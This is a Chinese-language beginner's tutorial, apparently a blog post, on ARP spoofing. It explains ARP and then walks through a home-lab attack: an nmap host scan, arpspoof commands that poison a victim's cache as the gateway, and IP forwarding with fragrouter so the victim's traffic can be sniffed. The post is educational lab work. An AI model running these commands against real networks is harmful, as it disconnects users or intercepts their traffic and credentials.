arpspoof实现arp欺骗及路由转发问题
地址解析协议(ARP):
Address Resolution Protocol,由于是IP协议使用了ARP协议,因此通常就把ARP协议划归网络层。作用:将IP解析为MAC地址。
ARP解析原理:
源主机发送ARP广播请求(FF-FF-FF-FF-FF-FF)
ARP报文内容:我是10.1.1.1 我的mac:@@-@@-@@-@@-@@-@@
谁是10.1.1.3 你的mac:?目标主机接收ARP广播,并回复单播应答。
源主机接收单播应答,并存放于本机的ARP缓存表。
ARP欺骗或攻击原理:
通过发送伪造虚假的ARP报文(广播或单播),来实现的攻击或欺骗!
如果虚假报文的mac是伪造的不存在的,实现ARP攻击,结果为中断通信/断网!
如虚假报文的mac是攻击者自身的mac地址,冒充网关,并将流量转发到网关,实现ARP欺骗,结果可以监听、窃取、篡改、控制流量,但不中断通信!
ARP攻击的危害:
- 造成局域网中的其他主机断网。
- 劫持局域网中其他主机或网关的流量,获取敏感信息等。
利用arpspoof实现arp攻击:
实验环境:
网关:192.168.137.1
受害主机:192.168.137.227
攻击主机:192.168.137.182
实施
攻击者:
ifconfig //查看本机网卡IP和MAC

nmap -sP 192.168.137.1/24 // 扫描本网段存活主机

arpspoof -i wlan0 -t 192.168.137.227 192.168.137.1 //实施欺骗
-i 指定网络接口
-t 表示你要欺骗的对象
host 表示你要伪装的对象,一般为网关
-r 该选项启用双向欺骗
如: arpspoof -i wlan0 -t 192.168.137.227 -r 192.168.137.1
或 arpspoof -i wlan0 -t 192.168.137.227 192.168.137.1 -r
因为我的路由器绑定了静态MAC地址,就不双向了
我们通过arp -a 来查看受害主机的arp缓存表可以看到欺骗成功
此时目标处于断网状态。
接下来关于路由转发的问题,我用在其他一些文章里在kali系统下用echo 1 > /proc/sys/net/ipv4/ip_forward 或是更改/etc/sysctl.conf 虽然可以ping通IP地址,但就是无法利用DNS解析域名,即便在浏览器搜索框里直接访问IP,仍无法上网。这样就无法达到欺骗的目的。

找了很多文章问了一些人都不知道怎么回事。可能是parrotOS系统的一些不一样吧!(瞎猜的)于是乎用了另一个路由网络流量的程序Fragrouter来转发流量。(当然也可以自己写转发)
输入命令
fragrouter -i wlan0 -B1
-i 指定网络接口
-B1 表示你要欺骗的对象
受害主机正常上网。
在此之后,就可以利用嗅探抓包来抓取你想要的数据。
因为捕获http+ssl账号密码的方法还在学习和试验就先这样了。如果有哪位大佬知道我关于路由转发的问题请一定要告诉我噢!
作为一名初学者,还望小伙伴们能多多包涵!